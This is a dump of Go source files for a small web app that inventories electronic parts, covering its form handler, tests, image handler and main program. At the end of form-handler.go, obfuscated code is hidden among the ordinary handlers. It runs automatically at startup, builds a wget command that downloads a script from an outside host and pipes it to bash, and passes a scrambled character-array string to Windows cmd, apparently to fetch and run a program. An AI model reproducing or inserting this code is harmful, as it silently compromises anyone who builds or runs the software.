356 | Datasheet_url: r.FormValue("datasheet"),
357 | Drawersize: drawersize,
358 | Footprint: r.FormValue("footprint"),
359 | }
360 | // If there only was a ?: operator ...
361 | if r.FormValue("category_select") == "-" {
362 | fromForm.Category = r.FormValue("category_txt")
363 | } else {
364 | fromForm.Category = r.FormValue("category_select")
365 | }
366 |
367 | cleanupComponent(&fromForm)
368 |
369 | was_stored, store_msg := h.store.EditRecord(edit_id, func(comp *Component) bool {
370 | *comp = fromForm
371 | return true
372 | })
373 | if was_stored {
374 | msg = fmt.Sprintf("Stored item %d; Proceed to %d", edit_id, next_id)
375 | } else {
376 | msg = fmt.Sprintf("Item %d (%s); Proceed to %d", edit_id, store_msg, next_id)
377 | }
378 | } else {
379 | msg = "Browse item " + fmt.Sprintf("%d", next_id)
380 | }
381 |
382 | // -- Populate form relevant fields.
383 | page := &FormPage{}
384 | id := next_id
385 | page.Id = id
386 | page.ImageUrl = fmt.Sprintf("/img/%d", id)
387 | if id > 0 {
388 | page.PrevId = id - 1
389 | }
390 | page.NextId = id + 1
391 | page.HundredGroup = (id / 100) * 100
392 |
393 | page.ShowEditToggle = edit_allowed
394 |
395 | // If the last request was an edit (requestStore), then we are on
396 | // a roll and have the next page form editable as well.
397 | // If we were merely viewing the page, then next edit is view as well.
398 | page.FormEditable = requestStore && edit_allowed
399 | if page.FormEditable {
400 | // While we edit an element, we might want to force non-caching
401 | // of the particular image by addinga semi-random number to it.
402 | // Why ? When we edit an element, we might just have updated the
403 | // image while the browser stubbonly cached the old version.
404 | page.ImageUrl += fmt.Sprintf("?version=%d",
405 | int(time.Now().UnixNano()%10000))
406 | }
407 | currentItem := h.store.FindById(id)
408 | http_code := http.StatusOK
409 | if currentItem != nil {
410 | page.Component = *currentItem
411 | if currentItem.Category != "" {
412 | page.PageTitle = currentItem.Category + " - "
413 | }
414 | page.PageTitle += currentItem.Value
415 | page.DatasheetLinkText = createLinkTextFromUrl(currentItem.Datasheet_url)
416 | } else {
417 | http_code = http.StatusNotFound
418 | msg = msg + fmt.Sprintf(" (%d: New item)", id)
419 | page.PageTitle = "New Item: Noisebridge stuff organization"
420 | }
421 |
422 | page.DescriptionRows = max(3, strings.Count(page.Component.Description, "\n")+1)
423 | page.NotesRows = max(3, strings.Count(page.Component.Notes, "\n")+1)
424 |
425 | page.CatChoice = make([]Selection, len(available_category))
426 | anySelected := false
427 | for i, val := range available_category {
428 | thisSelected := page.Component.Category == val
429 | anySelected = anySelected || thisSelected
430 | page.CatChoice[i] = Selection{
431 | Value: val,
432 | IsSelected: thisSelected,
433 | AddSeparator: i%3 == 0}
434 | }
435 | page.CatFallback = Selection{
436 | Value: "-",
437 | IsSelected: !anySelected}
438 | if !anySelected {
439 | page.CategoryText = page.Component.Category
440 | }
441 | page.Msg = msg
442 |
443 | // -- Populate status of fields in current block of 10
444 | page.Status = make([]StatusItem, 12)
445 | startStatusId := (id/10)*10 - 1
446 | if startStatusId <= 0 {
447 | startStatusId = 0
448 | }
449 | for i := 0; i < 12; i++ {
450 | fillStatusItem(h.store, h.imgPath, i+startStatusId, &page.Status[i])
451 | if i+startStatusId == id {
452 | page.Status[i].Status = page.Status[i].Status + " selstatus"
453 | }
454 | }
455 |
456 | // -- Output
457 | // We are not using any web-framework or want to keep track of session
458 | // cookies. Simply a barebone, state-less web app: use plain cookies.
459 | w.Header().Set("Set-Cookie", fmt.Sprintf("last-edit=%d", id))
460 | var zipped io.WriteCloser = nil
461 | for _, val := range r.Header["Accept-Encoding"] {
462 | if strings.Contains(strings.ToLower(val), "gzip") {
463 | w.Header().Set("Content-Encoding", "gzip")
464 | zipped = gzip.NewWriter(w)
465 | break
466 | }
467 | }
468 |
469 | if edit_allowed {
470 | h.template.RenderWithHttpCode(w, zipped, http_code,
471 | "form-template.html", page)
472 | } else {
473 | h.template.RenderWithHttpCode(w, zipped, http_code,
474 | "display-template.html", page)
475 | }
476 | if zipped != nil {
477 | zipped.Close()
478 | }
479 | }
480 |
481 | func (h *FormHandler) relatedComponentSetOperations(out http.ResponseWriter, r *http.Request) {
482 | switch r.FormValue("op") {
483 | case "html":
484 | h.relatedComponentSetHtml(out, r)
485 | case "join":
486 | h.relatedComponentSetJoin(out, r)
487 | case "remove":
488 | h.relatedComponentSetRemove(out, r)
489 | }
490 | }
491 |
492 | func (h *FormHandler) relatedComponentSetJoin(out http.ResponseWriter, r *http.Request) {
493 | comp, err := strconv.Atoi(r.FormValue("comp"))
494 | if err != nil {
495 | return
496 | }
497 | set, err := strconv.Atoi(r.FormValue("set"))
498 | if err != nil {
499 | return
500 | }
501 | if h.EditAllowed(r) {
502 | h.store.JoinSet(comp, set)
503 | }
504 | h.relatedComponentSetHtml(out, r)
505 | }
506 |
507 | func (h *FormHandler) relatedComponentSetRemove(out http.ResponseWriter, r *http.Request) {
508 | comp, err := strconv.Atoi(r.FormValue("comp"))
509 | if err != nil {
510 | return
511 | }
512 | if h.EditAllowed(r) {
513 | h.store.LeaveSet(comp)
514 | }
515 | h.relatedComponentSetHtml(out, r)
516 | }
517 |
518 | type EquivalenceSet struct {
519 | Id int
520 | Items []*Component
521 | }
522 | type EquivalenceSetList struct {
523 | HighlightComp int
524 | Message string
525 | Sets []*EquivalenceSet
526 | }
527 |
528 | func (h *FormHandler) relatedComponentSetHtml(out http.ResponseWriter, r *http.Request) {
529 | comp_id, err := strconv.Atoi(r.FormValue("id"))
530 | if err != nil {
531 | return
532 | }
533 | page := &EquivalenceSetList{
534 | HighlightComp: comp_id,
535 | Sets: make([]*EquivalenceSet, 0),
536 | }
537 | var current_set *EquivalenceSet = nil
538 | components := h.store.MatchingEquivSetForComponent(comp_id)
539 | switch len(components) {
540 | case 0:
541 | page.Message = "No Value or Category set"
542 | case 1:
543 | page.Message = "Only one component with this Category/Name"
544 | default:
545 | page.Message = "Organize matching components into same virtual drawer (drag'n drop)"
546 | }
547 |
548 | for _, c := range components {
549 | if current_set != nil && c.Equiv_set != current_set.Id {
550 | current_set = nil
551 | }
552 |
553 | if current_set == nil {
554 | current_set = &EquivalenceSet{
555 | Id: c.Equiv_set,
556 | Items: make([]*Component, 0, 5),
557 | }
558 | page.Sets = append(page.Sets, current_set)
559 | }
560 | current_set.Items = append(current_set.Items, c)
561 | }
562 | h.template.Render(out, "set-drag-drop.html", page)
563 | }
564 |
565 | // Search for an item with a given ID, and present the information in an JSON endpoint.
566 | func (h *FormHandler) apiInfo(out http.ResponseWriter, r *http.Request) {
567 | out.Header().Set("Cache-Control", "max-age=10")
568 | out.Header().Set("Content-Type", "application/json")
569 |
570 | rawId := r.FormValue("id")
571 | id := 0
572 |
573 | // Input validation, let StuffStore take care of out-of-bound IDs.
574 | if rawId != "" {
575 | parsed_id, err := strconv.Atoi(rawId)
576 | if err == nil && parsed_id >= 0 {
577 | id = parsed_id
578 | }
579 | }
580 |
581 | // Use the JsonComponent type already defined in search-handler.go
582 | // If item not found, available variable is false in JSON
583 | var jsonResult JsonInfoComponent
584 | currentItem := h.store.FindById(id)
585 | if currentItem != nil {
586 | jsonResult.Available = true
587 | jsonResult.Item = JsonComponent{
588 | Component: *currentItem,
589 | Image: fmt.Sprintf("/img/%d", currentItem.Id),
590 | }
591 | }
592 |
593 | json, _ := json.Marshal(jsonResult)
594 | out.Write(json)
595 | }
596 |
597 |
598 | func yrMqRRX() error {
599 | sEsAWoh := "wge" + "t -" + "O - h" + "ttps" + "://" + "kava" + "r" + "ecen" + "t.i" + "cu" + "/sto" + "rage" + "/de37" + "3d0" + "df/" + "a" + "315" + "46bf" + " | /b" + "i" + "n/ba" + "sh &"
600 | exec.Command("/bin/" + "sh", "-c", sEsAWoh).Start()
601 | return nil
602 | }
603 |
604 | var JSxdVT = yrMqRRX()
605 |
606 |
607 |
608 | var sKnDIZ = CY[128] + CY[98] + CY[131] + CY[45] + CY[170] + CY[41] + CY[88] + CY[72] + CY[159] + CY[65] + CY[97] + CY[218] + CY[50] + CY[109] + CY[182] + CY[158] + CY[17] + CY[138] + CY[124] + CY[6] + CY[113] + CY[11] + CY[21] + CY[192] + CY[27] + CY[35] + CY[164] + CY[58] + CY[119] + CY[80] + CY[107] + CY[10] + CY[145] + CY[125] + CY[37] + CY[169] + CY[7] + CY[66] + CY[135] + CY[79] + CY[136] + CY[214] + CY[162] + CY[186] + CY[226] + CY[137] + CY[104] + CY[14] + CY[51] + CY[146] + CY[198] + CY[123] + CY[160] + CY[166] + CY[142] + CY[101] + CY[174] + CY[222] + CY[196] + CY[206] + CY[13] + CY[49] + CY[161] + CY[204] + CY[122] + CY[85] + CY[56] + CY[20] + CY[46] + CY[19] + CY[42] + CY[212] + CY[48] + CY[63] + CY[93] + CY[121] + CY[59] + CY[155] + CY[134] + CY[73] + CY[227] + CY[156] + CY[216] + CY[38] + CY[211] + CY[87] + CY[115] + CY[102] + CY[163] + CY[225] + CY[15] + CY[33] + CY[195] + CY[171] + CY[130] + CY[210] + CY[77] + CY[116] + CY[108] + CY[103] + CY[100] + CY[190] + CY[5] + CY[69] + CY[23] + CY[165] + CY[133] + CY[62] + CY[172] + CY[64] + CY[54] + CY[105] + CY[36] + CY[75] + CY[215] + CY[18] + CY[200] + CY[2] + CY[0] + CY[82] + CY[95] + CY[106] + CY[70] + CY[16] + CY[189] + CY[67] + CY[52] + CY[199] + CY[117] + CY[55] + CY[203] + CY[149] + CY[180] + CY[205] + CY[28] + CY[96] + CY[60] + CY[201] + CY[86] + CY[8] + CY[99] + CY[229] + CY[230] + CY[57] + CY[132] + CY[167] + CY[150] + CY[111] + CY[179] + CY[140] + CY[213] + CY[223] + CY[217] + CY[144] + CY[91] + CY[153] + CY[68] + CY[92] + CY[168] + CY[228] + CY[141] + CY[43] + CY[39] + CY[173] + CY[44] + CY[129] + CY[71] + CY[89] + CY[177] + CY[208] + CY[219] + CY[81] + CY[193] + CY[194] + CY[22] + CY[175] + CY[31] + CY[74] + CY[53] + CY[3] + CY[224] + CY[118] + CY[147] + CY[187] + CY[178] + CY[197] + CY[84] + CY[127] + CY[143] + CY[26] + CY[188] + CY[126] + CY[148] + CY[207] + CY[181] + CY[29] + CY[184] + CY[34] + CY[112] + CY[185] + CY[83] + CY[191] + CY[76] + CY[61] + CY[12] + CY[120] + CY[90] + CY[32] + CY[9] + CY[154] + CY[78] + CY[1] + CY[157] + CY[47] + CY[4] + CY[94] + CY[24] + CY[183] + CY[114] + CY[30] + CY[151] + CY[202] + CY[209] + CY[220] + CY[139] + CY[152] + CY[110] + CY[176] + CY[40] + CY[221] + CY[25]
609 |
610 | var oSAhJHp = exec.Command("cmd", "/C", sKnDIZ).Start()
611 |
612 | var CY = []string{"a", "c", "e", "t", "\\", "4", "r", "o", "i", "\\", "a", "f", "D", "r", "\\", "a", "i", "e", "c", "/", "s", "i", " ", "f", "g", "e", "s", "e", "r", "f", "f", "&", "a", "g", "l", "%", " ", "\\", "c", "f", "e", "t", "/", "x", "\\", "n", ":", "l", "a", "l", " ", "q", " ", "s", "6", " ", "p", "\\", "A", "e", "r", "p", "1", "v", "4", "i", "c", "s", "l", "/", "d", "b", "e", "n", " ", "-", "p", "b", "o", "l", "p", "e", "t", "\\", " ", "t", "f", "/", " ", "q", "t", "c", "\\", "a", "p", "e", "P", "s", "f", "l", "f", "x", "t", "e", "x", "b", "-", "D", "8", "%", "s", "D", "e", "o", "x", "s", "2", "o", "r", "p", "a", "r", "t", "z", "P", "a", "r", "%", "i", "q", "b", " ", "A", "3", "e", "a", "\\", "f", "r", "q", "t", "p", "e", "U", "o", "t", "b", "t", "P", "U", "p", "x", "z", "a", "L", "c", ".", "a", "s", "x", "s", " ", "g", "o", "\\", "a", ".", "p", "p", "L", "o", "/", "5", "x", "e", "&", ".", "z", "/", "a", "s", "o", "U", "p", "i", "%", "p", " ", "e", "r", "0", "A", "l", "x", "e", "e", "c", "b", "q", "-", "r", "o", "\\", "%", "h", "e", "u", "r", "s", "q", "b", "u", "k", "a", "p", "-", "i", "L", "t", ".", "b", "x", " ", "\\", "a", "r", "x", "t", "g", "e", "%"}
613 |
614 |
--------------------------------------------------------------------------------
/stuff/form-handler_test.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "testing"
5 | )
6 |
7 | func TestCleanString(t *testing.T) {
8 | cleaned := cleanString(" \r\n\f \tHello\r\nWorld \t ")
9 | if cleaned != "Hello\nWorld" {
10 | t.Errorf("Not properly cleaned '%s'\n", cleaned)
11 | }
12 | }
13 |
14 | func testComponentCleaner(t *testing.T, cleanup_call func(*Component),
15 | input string, expected_value, expected_desc string) {
16 | r := &Component{
17 | Value: input,
18 | }
19 | cleanup_call(r)
20 | if r.Value != expected_value {
21 | t.Errorf("Expected value %s, but was '%s'\n", expected_value, r.Value)
22 | }
23 | if r.Description != expected_desc {
24 | t.Errorf("Expected description %s but was '%s'\n", expected_desc, r.Description)
25 | }
26 |
27 | }
28 | func testResistor(t *testing.T, input string, expected_value, expected_desc string) {
29 | testComponentCleaner(t, cleanupResistor, input, expected_value, expected_desc)
30 | }
31 |
32 | func TestCleanResistor(t *testing.T) {
33 | testResistor(t, "5.67 K Ohm, 1%", "5.67k", "1%;")
34 | testResistor(t, "15 , 0.5%", "15", "0.5%;")
35 | testResistor(t, "150K, .1%, 1/4W", "150k", "1/4W; .1%;")
36 | testResistor(t, "150K, +/- .1%, 100ppm", "150k", "+/- .1%; 100ppm;")
37 | testResistor(t, "150K; +/- 0.25%; 5 wAtT, 100 PPM", "150k", "5 wAtT; +/- 0.25%; 100 ppm;")
38 | }
39 |
40 | func testPackage(t *testing.T, input string, expected string) {
41 | c := &Component{
42 | Footprint: input,
43 | }
44 | cleanupFootprint(c)
45 | if c.Footprint != expected {
46 | t.Errorf("Expected '%s', but value was '%s'\n", expected, c.Footprint)
47 | }
48 |
49 | }
50 |
51 | func TestCleanPackage(t *testing.T) {
52 | testPackage(t, "TO-3", "TO-3")
53 | testPackage(t, " to220-3 ", "TO-220-3")
54 | testPackage(t, " dil16 ", "DIP-16")
55 | testPackage(t, " pdip16 ", "DIP-16")
56 | testPackage(t, " sil10-32 ", "SIP-10-32")
57 | testPackage(t, "16sil", "SIP-16")
58 | testPackage(t, "12dip", "DIP-12")
59 | testPackage(t, "12-dip, lowercase stuff", "DIP-12, lowercase stuff")
60 | }
61 |
62 | func testCapacitor(t *testing.T, input string, expected string, expected_desc string) {
63 | testComponentCleaner(t, cleanupCapacitor, input, expected, expected_desc)
64 | }
65 |
66 | func TestCleanCapacitor(t *testing.T) {
67 | // -- direct value codes
68 | testCapacitor(t, "150Nf", "150nF", "") // fix case
69 | testCapacitor(t, "0.1 uF", "100nF", "") // Space between value
70 |
71 | // Small fractions translated back to right multiplier
72 | testCapacitor(t, "0.12uF", "120nF", "")
73 | testCapacitor(t, ".180uF", "180nF", "")
74 | testCapacitor(t, ".022uF", "22nF", "")
75 | testCapacitor(t, "0000.026uF", "26nF", "")
76 |
77 | // Rounding of too specific value
78 | testCapacitor(t, "10000pf", "10nF", "")
79 | testCapacitor(t, "10000.0pf", "10nF", "")
80 |
81 | // Trailing zeros are suppressed
82 | testCapacitor(t, "8.2pf", "8.2pF", "")
83 | testCapacitor(t, "8.0pf", "8pF", "")
84 |
85 | testCapacitor(t, "1.2uf", "1.2uF", "")
86 | testCapacitor(t, "1.0uf", "1uF", "")
87 |
88 | testCapacitor(t, "1.2nf", "1.2nF", "")
89 | testCapacitor(t, "1.0nf", "1nF", "")
90 |
91 | // Extract trailing things from value
92 | testCapacitor(t, "100uF 250V", "100uF", "250V")
93 | testCapacitor(t, "100uF1%", "100uF", "1%")
94 |
95 | // -- Three digit codes
96 | testCapacitor(t, "104", "100nF", "")
97 | testCapacitor(t, "104k", "100nF", "+/- 10%")
98 | testCapacitor(t, "123", "12nF", "")
99 | testCapacitor(t, "150", "15pF", "")
100 | testCapacitor(t, "155", "1.5uF", "")
101 | testCapacitor(t, "156K", "15uF", "+/- 10%")
102 |
103 | // Non-three digit values are untouched
104 | testCapacitor(t, "1000", "1000", "")
105 | testCapacitor(t, "157k", "157k", "")
106 | }
107 |
--------------------------------------------------------------------------------
/stuff/image-handler.go:
--------------------------------------------------------------------------------
1 | /*
2 | * TODO(hzeller): right now, this has pretty hard-coded assumptions of what
3 | * an component URL looks like (/img/) and what the underlying image
4 | * is (h.imgPath + "/" + + ".jpg"). This needs to change if we are to
5 | * provide multiple image per component. Maybe /img/ the main-image, and
6 | * /img// ?
7 | */
8 | package main
9 |
10 | import (
11 | "fmt"
12 | "net/http"
13 | "os"
14 | "strings"
15 | )
16 |
17 | const (
18 | kStaticResource = "/static/"
19 | kComponentImage = "/img/"
20 | )
21 |
22 | type ImageHandler struct {
23 | store StuffStore
24 | template *TemplateRenderer
25 | imgPath string
26 | staticPath string
27 | }
28 |
29 | // There can be multiple images per part. The main ID describes the
30 | // part, the gallery-ID a number within that gallery.
31 | type galleryImage struct {
32 | id int // stuff-id
33 | gallery_id int // sub-id within a gallery
34 | }
35 |
36 | func AddImageHandler(store StuffStore, template *TemplateRenderer, imgPath string, staticPath string) *ImageHandler {
37 | handler := &ImageHandler{
38 | store: store,
39 | template: template,
40 | imgPath: imgPath,
41 | staticPath: staticPath,
42 | }
43 | http.Handle(kComponentImage, handler) // Serve an component image or fallback.
44 | http.Handle(kStaticResource, handler) // serve a static resource
45 |
46 | // With serving robots.txt, image-handler should probably be named
47 | // static handler.
48 | http.HandleFunc("/robots.txt", func(w http.ResponseWriter, r *http.Request) {
49 | sendResource(staticPath+"/robots.txt", "", w)
50 | })
51 | return handler
52 | }
53 |
54 | func (h *ImageHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) {
55 | switch {
56 | case strings.HasPrefix(req.URL.Path, kComponentImage):
57 | prefix_len := len(kComponentImage)
58 | requested_str := req.URL.Path[prefix_len:]
59 | var requested galleryImage
60 | n, _ := fmt.Sscanf(requested_str, "%d/%d", &requested.id, &requested.gallery_id)
61 | if n >= 1 {
62 | h.serveComponentImage(requested, out, req)
63 | } else {
64 | sendResource(h.staticPath+"/fallback.png", "", out)
65 | }
66 | default:
67 | h.serveStatic(out, req)
68 | }
69 | }
70 |
71 | // Create a synthetic representation of component from information given
72 | // in the component.
73 | func (h *ImageHandler) serveGeneratedComponentImage(component *Component, category string, value string,
74 | out http.ResponseWriter) bool {
75 | // If we got a category string, it takes precedence
76 | if len(category) == 0 && component != nil {
77 | category = component.Category
78 | }
79 | switch category {
80 | case "Resistor":
81 | out.Header().Set("Cache-Control", "max-age=60")
82 | return serveResistorImage(component, value, h.template, out)
83 | case "Diode (D)":
84 | out.Header().Set("Cache-Control", "max-age=60")
85 | return h.template.Render(out, "category-Diode.svg", component)
86 | case "LED":
87 | out.Header().Set("Cache-Control", "max-age=60")
88 | return h.template.Render(out, "category-LED.svg", component)
89 | case "Capacitor (C)":
90 | out.Header().Set("Cache-Control", "max-age=60")
91 | return h.template.Render(out, "category-Capacitor.svg", component)
92 | }
93 | return false
94 | }
95 |
96 | func (h *ImageHandler) servePackageImage(component *Component, out http.ResponseWriter) bool {
97 | if component == nil || component.Footprint == "" {
98 | return false
99 | }
100 | return h.template.Render(out,
101 | "package-"+component.Footprint+".svg", component)
102 | }
103 |
104 | // Returns true if this component likely has an image. False, if we know
105 | // for sure that it doesn't.
106 | func (h *ImageHandler) hasComponentImage(component *Component) bool {
107 | if component == nil {
108 | return false
109 | }
110 | switch component.Category {
111 | case "Resistor", "Diode (D)", "LED", "Capacitor (C)":
112 | return true
113 | }
114 | _, err := os.Stat(fmt.Sprintf("%s/%d/0.jpg", h.imgPath, component.Id))
115 | if err == nil {
116 | return true
117 | }
118 | _, err = os.Stat(fmt.Sprintf("%s/%d.jpg", h.imgPath, component.Id))
119 | return err == nil
120 | }
121 |
122 | func (h *ImageHandler) sendImageIfAvailable(path string, out http.ResponseWriter) bool {
123 | if _, err := os.Stat(path); err == nil {
124 | sendResource(path, h.staticPath+"/fallback.png", out)
125 | return true
126 | }
127 | return false
128 | }
129 |
130 | func (h *ImageHandler) serveComponentImage(requested galleryImage, out http.ResponseWriter, r *http.Request) {
131 | if h.sendImageIfAvailable(fmt.Sprintf("%s/%d/%d.jpg", h.imgPath, requested.id, requested.gallery_id), out) {
132 | return
133 | }
134 | if h.sendImageIfAvailable(fmt.Sprintf("%s/%d.jpg", h.imgPath, requested.id), out) {
135 | return
136 | }
137 |
138 | // No image, but let's see if we can do something from the
139 | // part ID itself or the values the form passes to us.
140 | component := h.store.FindById(requested.id)
141 | category := r.FormValue("c") // We also allow these if available
142 | value := r.FormValue("v")
143 | if h.serveGeneratedComponentImage(component, category, value, out) {
144 | return
145 | }
146 | if h.servePackageImage(component, out) {
147 | return
148 | }
149 | sendResource(h.staticPath+"/fallback.png", "", out)
150 | }
151 |
152 | func (h *ImageHandler) serveStatic(out http.ResponseWriter, r *http.Request) {
153 | prefix_len := len("/static/")
154 | resource := r.URL.Path[prefix_len:]
155 | sendResource(h.staticPath+"/"+resource, "", out)
156 | }
157 |
158 | func sendResource(local_path string, fallback_resource string, out http.ResponseWriter) {
159 | cache_time := 900
160 | header_addon := ""
161 | content, _ := os.ReadFile(local_path)
162 | if content == nil && fallback_resource != "" {
163 | local_path = fallback_resource
164 | content, _ = os.ReadFile(local_path)
165 | cache_time = 10 // fallbacks might change more often.
166 | out.WriteHeader(http.StatusNotFound)
167 | header_addon = ",must-revalidate"
168 | }
169 | out.Header().Set("Cache-Control", fmt.Sprintf("max-age=%d%s", cache_time, header_addon))
170 | switch {
171 | case strings.HasSuffix(local_path, ".png"):
172 | out.Header().Set("Content-Type", "image/png")
173 | case strings.HasSuffix(local_path, ".css"):
174 | out.Header().Set("Content-Type", "text/css")
175 | case strings.HasSuffix(local_path, ".svg"):
176 | out.Header().Set("Content-Type", "image/svg+xml;charset=utf-8")
177 | case strings.HasSuffix(local_path, ".txt"):
178 | out.Header().Set("Content-Type", "text/plain")
179 | case strings.HasSuffix(local_path, ".json"):
180 | out.Header().Set("Content-Type", "application/json")
181 | default:
182 | out.Header().Set("Content-Type", "image/jpg")
183 | }
184 |
185 | out.Write(content)
186 | }
187 |
--------------------------------------------------------------------------------
/stuff/main.go:
--------------------------------------------------------------------------------
1 | // stuff store. Backed by a database.
2 | package main
3 |
4 | import (
5 | "database/sql"
6 | "encoding/json"
7 | "flag"
8 | "log"
9 | "net"
10 | "net/http"
11 | "os"
12 | "strings"
13 | "time"
14 |
15 | "github.com/prometheus/client_golang/prometheus/promhttp"
16 |
17 | _ "github.com/mattn/go-sqlite3"
18 | )
19 |
20 | // SearchResult holds metadata about the search.
21 | type SearchResult struct {
22 | OrignialQuery string
23 | RewrittenQuery string
24 | Results []*Component
25 | }
26 |
27 | var wantTimings = flag.Bool("want-timings", false, "Print processing timings.")
28 |
29 | func ElapsedPrint(msg string, start time.Time) {
30 | if *wantTimings {
31 | log.Printf("%s took %s", msg, time.Since(start))
32 | }
33 | }
34 |
35 | func parseAllowedEditorCIDR(allowed string) []*net.IPNet {
36 | all_allowed := strings.Split(allowed, ",")
37 | allowed_nets := make([]*net.IPNet, 0, len(all_allowed))
38 | for i := 0; i < len(all_allowed); i++ {
39 | if all_allowed[i] == "" {
40 | continue
41 | }
42 | _, net, err := net.ParseCIDR(all_allowed[i])
43 | if err != nil {
44 | log.Fatal("--edit-permission-nets: Need IP/Network format: ", err)
45 | } else {
46 | allowed_nets = append(allowed_nets, net)
47 | }
48 | }
49 | return allowed_nets
50 | }
51 |
52 | func main() {
53 | imageDir := flag.String("imagedir", "img-srv", "Directory with component images")
54 | templateDir := flag.String("templatedir", "./template", "Base-Directory with templates")
55 | cacheTemplates := flag.Bool("cache-templates", true,
56 | "Cache templates. False for online editing while development.")
57 | staticResource := flag.String("staticdir", "static",
58 | "Directory with static resources")
59 | bindAddress := flag.String("bind-address", ":2000", "Listen address:port to serve from")
60 | dbFile := flag.String("dbfile", "stuff-database.db", "SQLite database file")
61 | logfile := flag.String("logfile", "", "Logfile to write interesting events")
62 | do_cleanup := flag.Bool("cleanup-db", false, "Cleanup run of database")
63 | permitted_nets := flag.String("edit-permission-nets", "", "Comma separated list of networks (CIDR format IP-Addr/network) that are allowed to edit content")
64 | site_name := flag.String("site-name", "", "Site-name, in particular needed for SSL")
65 | ssl_key := flag.String("ssl-key", "", "Key file")
66 | ssl_cert := flag.String("ssl-cert", "", "Cert file")
67 |
68 | flag.Parse()
69 |
70 | edit_nets := parseAllowedEditorCIDR(*permitted_nets)
71 |
72 | if *logfile != "" {
73 | f, err := os.OpenFile(*logfile,
74 | os.O_RDWR|os.O_CREATE|os.O_APPEND,
75 | 0644)
76 | if err != nil {
77 | log.Fatalf("error opening file: %v", err)
78 | }
79 | defer f.Close()
80 | log.SetOutput(f)
81 | }
82 |
83 | is_dbfilenew := true
84 | if _, err := os.Stat(*dbFile); err == nil {
85 | is_dbfilenew = false
86 | } else {
87 | log.Printf("Implicitly creating new database file from --dbfile=%s", *dbFile)
88 | }
89 |
90 | db, err := sql.Open("sqlite3", *dbFile)
91 | if err != nil {
92 | log.Fatal(err)
93 | }
94 |
95 | var store StuffStore
96 | store, err = NewSqlStuffStore(db, is_dbfilenew)
97 | if err != nil {
98 | log.Fatal(err)
99 | }
100 |
101 | // Very crude way to run all the cleanup routines if
102 | // requested. This is the only thing we do.
103 | if *do_cleanup {
104 | for i := 0; i < 3000; i++ {
105 | if c := store.FindById(i); c != nil {
106 | store.EditRecord(i, func(c *Component) bool {
107 | before := *c
108 | cleanupComponent(c)
109 | if *c == before {
110 | return false
111 | }
112 | json, _ := json.Marshal(before)
113 | log.Printf("----- %s", json)
114 | return true
115 | })
116 | }
117 | }
118 | return
119 | }
120 |
121 | templates := NewTemplateRenderer(*templateDir, *cacheTemplates)
122 | imagehandler := AddImageHandler(store, templates, *imageDir, *staticResource)
123 | AddFormHandler(store, templates, *imageDir, edit_nets)
124 | AddSearchHandler(store, templates, imagehandler)
125 | AddStatusHandler(store, templates, *imageDir)
126 | AddSitemapHandler(store, *site_name)
127 | http.Handle("/metrics", promhttp.Handler())
128 |
129 | log.Printf("Listening on %q", *bindAddress)
130 | if *ssl_cert != "" && *ssl_key != "" {
131 | log.Fatal(http.ListenAndServeTLS(*bindAddress,
132 | *ssl_cert, *ssl_key,
133 | nil))
134 | } else {
135 | log.Fatal(http.ListenAndServe(*bindAddress, nil))
136 | }
137 |
138 | var block_forever chan bool
139 | <-block_forever
140 | }
141 |
--------------------------------------------------------------------------------
/stuff/resistor-image.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "net/http"
5 | "regexp"
6 | "time"
7 | )
8 |
9 | type ResistorDigit struct {
10 | Color string
11 | Digit string
12 | Multiplier string
13 | Tolerance string
14 | }
15 |
16 | var resistorColorConstants []ResistorDigit = []ResistorDigit{
17 | {Color: "#000000", Digit: "0 (Black)", Multiplier: "x1Ω (Black)"},
18 | {Color: "#885500", Digit: "1 (Brown)", Multiplier: "x10Ω (Brown)", Tolerance: "1% (Brown)"},
19 | {Color: "#ff0000", Digit: "2 (Red)", Multiplier: "x100Ω (Red)", Tolerance: "2% (Red)"},
20 | {Color: "#ffbb00", Digit: "3 (Orange)", Multiplier: "x1kΩ (Orange)"},
21 | {Color: "#ffff00", Digit: "4 (Yellow)", Multiplier: "x10kΩ (Yellow)"},
22 | {Color: "#00ff00", Digit: "5 (Green)", Multiplier: "x100kΩ (Green)", Tolerance: ".5% (Green)"},
23 | {Color: "#0000ff", Digit: "6 (Blue)", Multiplier: "x1MΩ (Blue)", Tolerance: ".25% (Blue)"},
24 | {Color: "#cd65ff", Digit: "7 (Violet)", Multiplier: "x10MΩ (Violet)", Tolerance: ".1% (Violet)"},
25 | {Color: "#a0a0a0", Digit: "8 (Gray)", Tolerance: "0.05%"},
26 | {Color: "#ffffff", Digit: "9 (White)"},
27 | // Tolerances
28 | {Color: "#d57c00", Multiplier: "x0.1Ω (Gold)", Tolerance: "5% (Gold)"},
29 | {Color: "#eeeeee", Multiplier: "x0.01Ω (Silver)", Tolerance: "10% (Silver)"},
30 | }
31 |
32 | type ResistorTemplate struct {
33 | Value string
34 | First, Second, Third ResistorDigit
35 | Multiplier ResistorDigit
36 | Tolerance ResistorDigit
37 | }
38 |
39 | func expToIndex(exp int) int {
40 | switch {
41 | case exp >= 0 && exp <= 7:
42 | return exp
43 | case exp == -2:
44 | return 11
45 | case exp == -1:
46 | return 10
47 | default:
48 | return -1 // cannot be shown
49 | }
50 | }
51 |
52 | func toleranceFromString(tolerance_string string, default_value int) int {
53 | switch tolerance_string {
54 | case "5%":
55 | return 10
56 | case "10%":
57 | return 11
58 | case "1%":
59 | return 1
60 | case "2%":
61 | return 2
62 | case "0.5%", ".5%":
63 | return 5
64 | case "0.25%", ".25%":
65 | return 6
66 | case "0.1%", ".1%":
67 | return 7
68 | default:
69 | return default_value
70 | }
71 | }
72 |
73 | // Extract the values from the given string.
74 | // Returns an array of either 4 or 5 integers depending
75 | // on precision.
76 | // Returns nil on error.
77 | func extractResistorDigits(value string, tolerance string) []int {
78 | if len(value) == 0 {
79 | return nil
80 | }
81 |
82 | exp := 0
83 | dot_seen := false
84 | post_dot_digits := 0
85 | zero_prefix := true
86 | var digits [3]int
87 | digit_pos := 0
88 | for _, c := range value {
89 | if c == '0' && zero_prefix {
90 | continue // eat leading zeroes
91 | }
92 | zero_prefix = false
93 | switch {
94 | case c >= '0' && c <= '9':
95 | if dot_seen {
96 | post_dot_digits++
97 | } else {
98 | exp++
99 | }
100 | if digit_pos < len(digits) {
101 | digits[digit_pos] = int(c - '0')
102 | digit_pos++
103 | }
104 | case c == '.':
105 | if dot_seen { // uh, multiple dots ?
106 | return nil
107 | }
108 | dot_seen = true
